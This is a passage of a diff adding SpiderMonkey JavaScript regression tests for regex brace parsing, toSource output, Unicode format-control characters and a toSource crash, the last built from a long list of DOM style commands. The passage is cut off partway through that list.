+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1} foo {2}');
+addThis();
+
+// just like Section 1, without the braces being escaped
+status = inSection(2);
+try
+{
+ pattern = new RegExp('{1.*}', 'g');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1} foo {2}');
+addThis();
+
+// try an example with the braces escaped
+status = inSection(3);
+try
+{
+ pattern = new RegExp('\{1[.!\}]*\}', 'g');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1}');
+addThis();
+
+// just like Section 3, without the braces being escaped
+status = inSection(4);
+try
+{
+ pattern = new RegExp('{1[.!}]*}', 'g');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1}');
+addThis();
+
+
+string = 'abccccc{3 }c{ 3}c{3, }c{3 ,}c{3 ,4}c{3, 4}c{3,4 }de';
+
+// use braces in a normal quantifier construct
+status = inSection(5);
+try
+{
+ pattern = new RegExp('c{3}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('ccc');
+addThis();
+
+// now disrupt the quantifer - the braces should now be interpreted literally
+status = inSection(6);
+try
+{
+ pattern = new RegExp('c{3 }');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(7);
+try
+{
+ pattern = new RegExp('c{3.}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(8);
+try
+{
+ // need to escape the \ in \s since
+ // this has been converted to a constructor call
+ // instead of a literal regexp
+ pattern = new RegExp('c{3\\s}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(9);
+try
+{
+ pattern = new RegExp('c{3[ ]}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(10);
+try
+{
+ pattern = new RegExp('c{ 3}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{ 3}');
+addThis();
+
+// using braces in a normal quantifier construct again
+status = inSection(11);
+try
+{
+ pattern = new RegExp('c{3,}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('ccccc');
+addThis();
+
+// now disrupt it - the braces should now be interpreted literally
+status = inSection(12);
+try
+{
+ pattern = new RegExp('c{3, }');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3, }');
+addThis();
+
+status = inSection(13);
+try
+{
+ pattern = new RegExp('c{3 ,}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 ,}');
+addThis();
+
+// using braces in a normal quantifier construct again
+status = inSection(14);
+try
+{
+ pattern = new RegExp('c{3,4}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('cccc');
+addThis();
+
+// now disrupt it - the braces should now be interpreted literally
+status = inSection(15);
+try
+{
+ pattern = new RegExp('c{3 ,4}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 ,4}');
+addThis();
+
+status = inSection(16);
+try
+{
+ pattern = new RegExp('c{3, 4}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3, 4}');
+addThis();
+
+status = inSection(17);
+try
+{
+ pattern = new RegExp('c{3,4 }');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3,4 }');
+addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/extensions/regress-245148.js b/js/src/tests/non262/extensions/regress-245148.js
new file mode 100644
index 0000000000..e291056f35
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-245148.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!Array.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245148;
+var summary = '[null].toSource() == "[null]"';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = '[null]';
+actual = [null].toSource();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-255245.js b/js/src/tests/non262/extensions/regress-255245.js
new file mode 100644
index 0000000000..9d486fe962
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-255245.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!Function.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 255245;
+var summary = 'Function.prototype.toSource/.toString show "setrval" instead of "return"';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ try {
+ } catch (e) {
+ return false;
+ }
+ finally {
+ }
+}
+
+expect = -1;
+actual = f.toSource().indexOf('setrval');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-274152.js b/js/src/tests/non262/extensions/regress-274152.js
new file mode 100644
index 0000000000..0f3cd70e53
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-274152.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 274152;
+var summary = 'Do not ignore unicode format-control characters';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: illegal character';
+
+ var formatcontrolchars = ['\u200E',
+ '\u0600',
+ '\u0601',
+ '\u0602',
+ '\u0603',
+ '\u06DD',
+ '\u070F'];
+
+ for (var i = 0; i < formatcontrolchars.length; i++)
+ {
+ var char = formatcontrolchars[i];
+
+ try
+ {
+ eval("hi" + char + "there = 'howdie';");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ var hex = char.codePointAt(0).toString(16).toUpperCase().padStart(4, '0');
+ reportCompare(`${expect} U+${hex}`, actual, summary + ': ' + i);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-300079.js b/js/src/tests/non262/extensions/regress-300079.js
new file mode 100644
index 0000000000..d2a1090c09
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-300079.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 300079;
+var summary = "precompiled functions should inherit from current window's Function.prototype";
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof clone == 'undefined') {
+ expect = 'SKIPPED';
+ actual = 'SKIPPED';
+ }
+ else {
+ expect = 'PASSED';
+
+ f = evaluate("(function () { return a * a; })", {envChainObject: {a: 3}});
+ gc();
+ try {
+ a_squared = f(2);
+ if (a_squared != 9)
+ throw "Unexpected return from g: a_squared == " + a_squared;
+ actual = "PASSED";
+ } catch (e) {
+ actual = "FAILED: " + e;
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-311161.js b/js/src/tests/non262/extensions/regress-311161.js
new file mode 100644
index 0000000000..7f54f734eb
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-311161.js
@@ -0,0 +1,1440 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311161;
+var summary = 'toSource exposes random memory or crashes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var commands =
+ [{origCount:1, fun:(function anonymous() {allElements[2].style.background = "#fcd";})},
+{origCount:2, fun:(function anonymous() {allElements[9].style.width = "20em";})},
+{origCount:3, fun:(function anonymous() {allElements[4].style.width = "200%";})},
+{origCount:4, fun:(function anonymous() {allElements[6].style.clear = "right";})},
+{origCount:5, fun:(function anonymous() {allElements[8].style.visibility = "hidden";})},
+{origCount:6, fun:(function anonymous() {allElements[1].style.overflow = "visible";})},
+{origCount:7, fun:(function anonymous() {allElements[4].style.position = "fixed";})},
+{origCount:8, fun:(function anonymous() {allElements[10].style.display = "-moz-inline-box";})},
+{origCount:9, fun:(function anonymous() {allElements[10].style.overflow = "auto";})},
+{origCount:10, fun:(function anonymous() {allElements[11].style.color = "red";})},
+{origCount:11, fun:(function anonymous() {allElements[4].style.height = "2em";})},
+{origCount:12, fun:(function anonymous() {allElements[9].style.height = "100px";})},
+{origCount:13, fun:(function anonymous() {allElements[5].style['float'] = "none";})},
+{origCount:14, fun:(function anonymous() {allElements[9].style.color = "blue";})},
+{origCount:15, fun:(function anonymous() {allElements[2].style.clear = "right";})},
+{origCount:16, fun:(function anonymous() {allElements[1].style.height = "auto";})},
+{origCount:17, fun:(function anonymous() {allElements[0].style.overflow = "hidden";})},
+{origCount:18, fun:(function anonymous() {allElements[4].style.display = "table-row-group";})},
+{origCount:19, fun:(function anonymous() {allElements[4].style.overflow = "auto";})},
+{origCount:20, fun:(function anonymous() {allElements[7].style.height = "100px";})},
+{origCount:21, fun:(function anonymous() {allElements[5].style.color = "green";})},
+{origCount:22, fun:(function anonymous() {allElements[3].style.display = "-moz-grid-group";})},
+{origCount:23, fun:(function anonymous() {allElements[7].style['float'] = "none";})},
+{origCount:24, fun:(function anonymous() {allElements[10].style.position = "static";})},
+{origCount:25, fun:(function anonymous() {allElements[3].style['float'] = "none";})},
+{origCount:26, fun:(function anonymous() {allElements[4].style['float'] = "none";})},
+{origCount:27, fun:(function anonymous() {allElements[8].style['float'] = "none";})},
+{origCount:28, fun:(function anonymous() {allElements[5].style.visibility = "collapse";})},
+{origCount:29, fun:(function anonymous() {allElements[1].style.position = "static";})},
+{origCount:30, fun:(function anonymous() {allElements[2].style.color = "black";})},
+{origCount:31, fun:(function anonymous() {allElements[0].style.position = "fixed";})},
+{origCount:32, fun:(function anonymous() {allElements[0].style.display = "table-row-group";})},
+{origCount:33, fun:(function anonymous() {allElements[9].style.position = "relative";})},
+{origCount:34, fun:(function anonymous() {allElements[5].style.position = "static";})},
+{origCount:35, fun:(function anonymous() {allElements[6].style.background = "transparent";})},
+{origCount:36, fun:(function anonymous() {allElements[6].style.color = "blue";})},
+{origCount:37, fun:(function anonymous() {allElements[9].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:38, fun:(function anonymous() {allElements[8].style.display = "-moz-grid";})},
+{origCount:39, fun:(function anonymous() {allElements[9].style.color = "black";})},
+{origCount:40, fun:(function anonymous() {allElements[4].style.position = "static";})},
+{origCount:41, fun:(function anonymous() {allElements[10].style.height = "auto";})},
+{origCount:42, fun:(function anonymous() {allElements[9].style.color = "green";})},
+{origCount:43, fun:(function anonymous() {allElements[4].style.height = "auto";})},
+{origCount:44, fun:(function anonymous() {allElements[2].style.clear = "both";})},
+{origCount:45, fun:(function anonymous() {allElements[8].style.width = "1px";})},
+{origCount:46, fun:(function anonymous() {allElements[2].style.visibility = "visible";})},
+{origCount:47, fun:(function anonymous() {allElements[1].style.clear = "left";})},
+{origCount:48, fun:(function anonymous() {allElements[11].style.overflow = "auto";})},
+{origCount:49, fun:(function anonymous() {allElements[11].style['float'] = "left";})},
+{origCount:50, fun:(function anonymous() {allElements[8].style['float'] = "left";})},
+{origCount:51, fun:(function anonymous() {allElements[6].style.height = "10%";})},
+{origCount:52, fun:(function anonymous() {allElements[11].style.display = "-moz-inline-box";})},
+{origCount:53, fun:(function anonymous() {allElements[3].style.clear = "left";})},
+{origCount:54, fun:(function anonymous() {allElements[11].style.visibility = "hidden";})},
+{origCount:55, fun:(function anonymous() {allElements[4].style['float'] = "right";})},
+{origCount:56, fun:(function anonymous() {allElements[0].style.width = "1px";})},
+{origCount:57, fun:(function anonymous() {allElements[3].style.height = "200%";})},
+{origCount:58, fun:(function anonymous() {allElements[7].style.height = "10%";})},
+{origCount:59, fun:(function anonymous() {allElements[4].style.clear = "none";})},
+{origCount:60, fun:(function anonymous() {allElements[11].style['float'] = "none";})},
+{origCount:61, fun:(function anonymous() {allElements[9].style['float'] = "left";})},
+{origCount:62, fun:(function anonymous() {allElements[4].style.overflow = "scroll";})},
+{origCount:63, fun:(function anonymous() {allElements[12].style.height = "200%";})},
+{origCount:64, fun:(function anonymous() {allElements[2].style.color = "green";})},
+{origCount:65, fun:(function anonymous() {allElements[3].style['float'] = "none";})},
+{origCount:66, fun:(function anonymous() {allElements[10].style.background = "transparent";})},
+{origCount:67, fun:(function anonymous() {allElements[0].style.height = "auto";})},
+{origCount:68, fun:(function anonymous() {allElements[6].style.clear = "left";})},
+{origCount:69, fun:(function anonymous() {allElements[7].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:70, fun:(function anonymous() {allElements[8].style.display = "-moz-popup";})},
+{origCount:71, fun:(function anonymous() {allElements[2].style.height = "10%";})},
+{origCount:72, fun:(function anonymous() {allElements[7].style.display = "table-cell";})},
+{origCount:73, fun:(function anonymous() {allElements[3].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:74, fun:(function anonymous() {allElements[8].style.color = "red";})},
+{origCount:75, fun:(function anonymous() {allElements[1].style.overflow = "auto";})},
+{origCount:76, fun:(function anonymous() {allElements[1].style.background = "#fcd";})},
+{origCount:77, fun:(function anonymous() {allElements[0].style.color = "red";})},
+{origCount:78, fun:(function anonymous() {allElements[4].style.background = "#fcd";})},
+{origCount:79, fun:(function anonymous() {allElements[5].style.position = "static";})},
+{origCount:80, fun:(function anonymous() {allElements[8].style.clear = "both";})},
+{origCount:81, fun:(function anonymous() {allElements[7].style.clear = "both";})},
+{origCount:82, fun:(function anonymous() {allElements[5].style.clear = "both";})},
+{origCount:83, fun:(function anonymous() {allElements[10].style.display = "-moz-grid-group";})},
+{origCount:84, fun:(function anonymous() {allElements[12].style.clear = "right";})},
+{origCount:85, fun:(function anonymous() {allElements[5].style['float'] = "left";})},
+{origCount:86, fun:(function anonymous() {allElements[8].style.position = "absolute";})},
+{origCount:87, fun:(function anonymous() {allElements[11].style.background = "#fcd";})},
+{origCount:88, fun:(function anonymous() {allElements[9].style.position = "relative";})},
+{origCount:89, fun:(function anonymous() {allElements[5].style.width = "20em";})},
+{origCount:90, fun:(function anonymous() {allElements[6].style.position = "absolute";})},
+{origCount:91, fun:(function anonymous() {allElements[5].style.overflow = "scroll";})},
+{origCount:92, fun:(function anonymous() {allElements[6].style.background = "#fcd";})},
+{origCount:93, fun:(function anonymous() {allElements[2].style.visibility = "visible";})},
+{origCount:94, fun:(function anonymous() {allElements[11].style.background = "#fcd";})},
+{origCount:95, fun:(function anonymous() {allElements[0].style.visibility = "hidden";})},
+{origCount:96, fun:(function anonymous() {allElements[0].style.color = "blue";})},
+{origCount:97, fun:(function anonymous() {allElements[3].style['float'] = "left";})},
+{origCount:98, fun:(function anonymous() {allElements[3].style.height = "200%";})},
+{origCount:99, fun:(function anonymous() {allElements[4].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:100, fun:(function anonymous() {allElements[12].style.width = "10%";})},
+{origCount:101, fun:(function anonymous() {allElements[6].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:102, fun:(function anonymous() {allElements[5].style.width = "auto";})},
+{origCount:103, fun:(function anonymous() {allElements[1].style.position = "static";})},
+{origCount:104, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:105, fun:(function anonymous() {allElements[5].style['float'] = "right";})},
+{origCount:106, fun:(function anonymous() {allElements[12].style.height = "200%";})},
+{origCount:107, fun:(function anonymous() {allElements[11].style['float'] = "none";})},
+{origCount:108, fun:(function anonymous() {allElements[9].style.width = "20em";})},
+{origCount:109, fun:(function anonymous() {allElements[10].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:110, fun:(function anonymous() {allElements[7].style['float'] = "none";})},
+{origCount:111, fun:(function anonymous() {allElements[6].style.visibility = "collapse";})},
+{origCount:112, fun:(function anonymous() {allElements[11].style.height = "200%";})},
+{origCount:113, fun:(function anonymous() {allElements[3].style.visibility = "visible";})},
+{origCount:114, fun:(function anonymous() {allElements[12].style.width = "200%";})},
+{origCount:115, fun:(function anonymous() {allElements[5].style.height = "10%";})},
+{origCount:116, fun:(function anonymous() {allElements[1].style['float'] = "left";})},
+{origCount:117, fun:(function anonymous() {allElements[5].style.overflow = "scroll";})},
+{origCount:118, fun:(function anonymous() {allElements[9].style.width = "10%";})},
+{origCount:119, fun:(function anonymous() {allElements[6].style.position = "static";})},
+{origCount:120, fun:(function anonymous() {allElements[1].style.background = "#fcd";})},
+{origCount:121, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:122, fun:(function anonymous() {allElements[7].style.width = "1px";})},
+{origCount:123, fun:(function anonymous() {allElements[3].style.color = "blue";})},
+{origCount:124, fun:(function anonymous() {allElements[6].style.background = "#fcd";})},
+{origCount:125, fun:(function anonymous() {allElements[8].style.overflow = "auto";})},
+{origCount:126, fun:(function anonymous() {allElements[1].style.overflow = "auto";})},
+{origCount:127, fun:(function anonymous() {allElements[5].style['float'] = "none";})},
+{origCount:128, fun:(function anonymous() {allElements[12].style.color = "green";})},
+{origCount:129, fun:(function anonymous() {allElements[0].style.color = "black";})},
+{origCount:130, fun:(function anonymous() {allElements[1].style.position = "relative";})},
+{origCount:131, fun:(function anonymous() {allElements[9].style.overflow = "auto";})},
+{origCount:132, fun:(function anonymous() {allElements[1].style.display = "table-row";})},
+{origCount:133, fun:(function anonymous() {allElements[10].style['float'] = "right";})},
+{origCount:134, fun:(function anonymous() {allElements[2].style.visibility = "hidden";})},
+{origCount:135, fun:(function anonymous() {allElements[9].style.overflow = "auto";})},
+{origCount:136, fun:(function anonymous() {allElements[9].style.clear = "none";})},
+{origCount:137, fun:(function anonymous() {allElements[9].style.position = "absolute";})},
+{origCount:138, fun:(function anonymous() {allElements[0].style.width = "10%";})},
+{origCount:139, fun:(function anonymous() {allElements[1].style.height = "10%";})},
+{origCount:140, fun:(function anonymous() {allElements[5].style.height = "auto";})},
+{origCount:141, fun:(function anonymous() {allElements[4].style.position = "fixed";})},
+{origCount:142, fun:(function anonymous() {allElements[3].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:143, fun:(function anonymous() {allElements[7].style.display = "table-header-group";})},
+{origCount:144, fun:(function anonymous() {allElements[10].style.position = "fixed";})},
+{origCount:145, fun:(function anonymous() {allElements[4].style.background = "transparent";})},
+{origCount:146, fun:(function anonymous() {allElements[6].style.position = "relative";})},
+{origCount:147, fun:(function anonymous() {allElements[10].style.clear = "both";})},
+{origCount:148, fun:(function anonymous() {allElements[8].style.display = "table-header-group";})},
+{origCount:149, fun:(function anonymous() {allElements[5].style.height = "200%";})},
+{origCount:150, fun:(function anonymous() {allElements[7].style.height = "2em";})},
+{origCount:151, fun:(function anonymous() {allElements[6].style.position = "relative";})},
+{origCount:152, fun:(function anonymous() {allElements[7].style.height = "2em";})},
+{origCount:153, fun:(function anonymous() {allElements[3].style.width = "10%";})},
+{origCount:154, fun:(function anonymous() {allElements[12].style.color = "blue";})},
+{origCount:155, fun:(function anonymous() {allElements[2].style.color = "green";})},
+{origCount:156, fun:(function anonymous() {allElements[2].style.visibility = "visible";})},
+{origCount:157, fun:(function anonymous() {allElements[6].style['float'] = "right";})},
+{origCount:158, fun:(function anonymous() {allElements[6].style.visibility = "collapse";})},
+{origCount:159, fun:(function anonymous() {allElements[8].style.position = "absolute";})},
+{origCount:160, fun:(function anonymous() {allElements[3].style.height = "2em";})},
+{origCount:161, fun:(function anonymous() {allElements[10].style.display = "-moz-grid-line";})},
+{origCount:162, fun:(function anonymous() {allElements[9].style.color = "red";})},
+{origCount:163, fun:(function anonymous() {allElements[6].style.overflow = "hidden";})},
+{origCount:164, fun:(function anonymous() {allElements[4].style.overflow = "scroll";})},
+{origCount:165, fun:(function anonymous() {allElements[11].style.height = "100px";})},
+{origCount:166, fun:(function anonymous() {allElements[5].style.display = "table-footer-group";})},
+{origCount:167, fun:(function anonymous() {allElements[5].style.color = "red";})},
+{origCount:168, fun:(function anonymous() {allElements[3].style.width = "20em";})},
+{origCount:169, fun:(function anonymous() {allElements[4].style['float'] = "right";})},
+{origCount:170, fun:(function anonymous() {allElements[2].style.background = "transparent";})},
+{origCount:171, fun:(function anonymous() {allElements[0].style.position = "fixed";})},
+{origCount:172, fun:(function anonymous() {allElements[6].style.visibility = "hidden";})},
+{origCount:173, fun:(function anonymous() {allElements[11].style['float'] = "right";})},
+{origCount:174, fun:(function anonymous() {allElements[8].style.height = "200%";})},
+{origCount:175, fun:(function anonymous() {allElements[1].style.position = "relative";})},
+{origCount:176, fun:(function anonymous() {allElements[11].style.width = "auto";})},
+{origCount:177, fun:(function anonymous() {allElements[2].style.background = "#fcd";})},
+{origCount:178, fun:(function anonymous() {allElements[6].style.position = "absolute";})},
+{origCount:179, fun:(function anonymous() {allElements[3].style.position = "absolute";})},
+{origCount:180, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:181, fun:(function anonymous() {allElements[11].style.background = "transparent";})},
+{origCount:182, fun:(function anonymous() {allElements[6].style.height = "200%";})},
+{origCount:183, fun:(function anonymous() {allElements[2].style['float'] = "none";})},
+{origCount:184, fun:(function anonymous() {allElements[5].style.position = "absolute";})},
+{origCount:185, fun:(function anonymous() {allElements[8].style.color = "blue";})},
+{origCount:186, fun:(function anonymous() {allElements[2].style['float'] = "left";})},
+{origCount:187, fun:(function anonymous() {allElements[6].style.height = "200%";})},
+{origCount:188, fun:(function anonymous() {allElements[0].style.width = "20em";})},
+{origCount:189, fun:(function anonymous() {allElements[1].style.display = "table-row-group";})},
+{origCount:190, fun:(function anonymous() {allElements[3].style.visibility = "hidden";})},
+{origCount:191, fun:(function anonymous() {allElements[11].style.width = "10%";})},
+{origCount:192, fun:(function anonymous() {allElements[4].style.width = "200%";})},
+{origCount:193, fun:(function anonymous() {allElements[0].style['float'] = "right";})},
+{origCount:194, fun:(function anonymous() {allElements[5].style.background = "#fcd";})},
+{origCount:195, fun:(function anonymous() {allElements[12].style.visibility = "hidden";})},
+{origCount:196, fun:(function anonymous() {allElements[0].style.display = "table-column";})},
+{origCount:197, fun:(function anonymous() {allElements[0].style.width = "auto";})},
+{origCount:198, fun:(function anonymous() {allElements[4].style.color = "green";})},
+{origCount:199, fun:(function anonymous() {allElements[6].style.clear = "none";})},
+{origCount:200, fun:(function anonymous() {allElements[10].style.overflow = "hidden";})},
+{origCount:201, fun:(function anonymous() {allElements[9].style.visibility = "collapse";})},
+{origCount:202, fun:(function anonymous() {allElements[9].style.height = "100px";})},
+{origCount:203, fun:(function anonymous() {allElements[1].style.width = "auto";})},
+{origCount:204, fun:(function anonymous() {allElements[4].style.position = "fixed";})},
+{origCount:205, fun:(function anonymous() {allElements[11].style['float'] = "none";})},
+{origCount:206, fun:(function anonymous() {allElements[1].style.clear = "right";})},
+{origCount:207, fun:(function anonymous() {allElements[5].style.display = "-moz-stack";})},
+{origCount:208, fun:(function anonymous() {allElements[3].style.color = "black";})},
+{origCount:209, fun:(function anonymous() {allElements[1].style.background = "transparent";})},
+{origCount:210, fun:(function anonymous() {allElements[3].style['float'] = "left";})},
+{origCount:211, fun:(function anonymous() {allElements[2].style.height = "2em";})},
+{origCount:212, fun:(function anonymous() {allElements[4].style.width = "auto";})},
+{origCount:213, fun:(function anonymous() {allElements[0].style['float'] = "none";})},
+{origCount:214, fun:(function anonymous() {allElements[10].style.display = "table-caption";})},
+{origCount:215, fun:(function anonymous() {allElements[0].style.overflow = "auto";})},
+{origCount:216, fun:(function anonymous() {allElements[0].style.color = "green";})},
+{origCount:217, fun:(function anonymous() {allElements[5].style.background = "#fcd";})},
+{origCount:218, fun:(function anonymous() {allElements[5].style.visibility = "hidden";})},
+{origCount:219, fun:(function anonymous() {allElements[7].style.width = "200%";})},
+{origCount:220, fun:(function anonymous() {allElements[2].style.background = "transparent";})},
+{origCount:221, fun:(function anonymous() {allElements[10].style.visibility = "hidden";})},
+{origCount:222, fun:(function anonymous() {allElements[10].style['float'] = "right";})},
+{origCount:223, fun:(function anonymous() {allElements[6].style.position = "absolute";})},
+{origCount:224, fun:(function anonymous() {allElements[5].style.background = "transparent";})},
+{origCount:225, fun:(function anonymous() {allElements[12].style.overflow = "hidden";})},
+{origCount:226, fun:(function anonymous() {allElements[7].style.clear = "left";})},
+{origCount:227, fun:(function anonymous() {allElements[7].style.height = "200%";})},
+{origCount:228, fun:(function anonymous() {allElements[5].style.position = "absolute";})},
+{origCount:229, fun:(function anonymous() {allElements[7].style['float'] = "none";})},
+{origCount:230, fun:(function anonymous() {allElements[5].style.clear = "both";})},
+{origCount:231, fun:(function anonymous() {allElements[4].style.clear = "left";})},
+{origCount:232, fun:(function anonymous() {allElements[10].style.position = "fixed";})},
+{origCount:233, fun:(function anonymous() {allElements[2].style.overflow = "scroll";})},
+{origCount:234, fun:(function anonymous() {allElements[12].style.background = "#fcd";})},
+{origCount:235, fun:(function anonymous() {allElements[6].style.color = "black";})},
+{origCount:236, fun:(function anonymous() {allElements[3].style.position = "absolute";})},
+{origCount:237, fun:(function anonymous() {allElements[8].style.color = "red";})},
+{origCount:238, fun:(function anonymous() {allElements[12].style.background = "transparent";})},
+{origCount:239, fun:(function anonymous() {allElements[10].style['float'] = "none";})},
+{origCount:240, fun:(function anonymous() {allElements[6].style['float'] = "right";})},
+{origCount:241, fun:(function anonymous() {allElements[5].style['float'] = "none";})},
+{origCount:242, fun:(function anonymous() {allElements[0].style.color = "red";})},
+{origCount:243, fun:(function anonymous() {allElements[10].style['float'] = "none";})},
+{origCount:244, fun:(function anonymous() {allElements[1].style.width = "1px";})},
+{origCount:245, fun:(function anonymous() {allElements[3].style.position = "fixed";})},
+{origCount:246, fun:(function anonymous() {allElements[11].style.clear = "left";})},
+{origCount:247, fun:(function anonymous() {allElements[2].style.position = "absolute";})},
+{origCount:248, fun:(function anonymous() {allElements[9].style.background = "#fcd";})},
+{origCount:249, fun:(function anonymous() {allElements[11].style.position = "relative";})},
+{origCount:250, fun:(function anonymous() {allElements[1].style.height = "100px";})},
+{origCount:251, fun:(function anonymous() {allElements[9].style.background = "transparent";})},
+{origCount:252, fun:(function anonymous() {allElements[2].style.display = "block";})},
+{origCount:253, fun:(function anonymous() {allElements[12].style.background = "#fcd";})},
+{origCount:254, fun:(function anonymous() {allElements[4].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:255, fun:(function anonymous() {allElements[12].style.color = "black";})},
+{origCount:256, fun:(function anonymous() {allElements[0].style.height = "auto";})},
+{origCount:257, fun:(function anonymous() {allElements[0].style.height = "100px";})},
+{origCount:258, fun:(function anonymous() {allElements[5].style.clear = "right";})},
+{origCount:259, fun:(function anonymous() {allElements[7].style.height = "100px";})},
+{origCount:260, fun:(function anonymous() {allElements[11].style.background = "transparent";})},
+{origCount:261, fun:(function anonymous() {allElements[11].style.width = "20em";})},
+{origCount:262, fun:(function anonymous() {allElements[10].style.width = "1px";})},
+{origCount:263, fun:(function anonymous() {allElements[3].style.clear = "left";})},
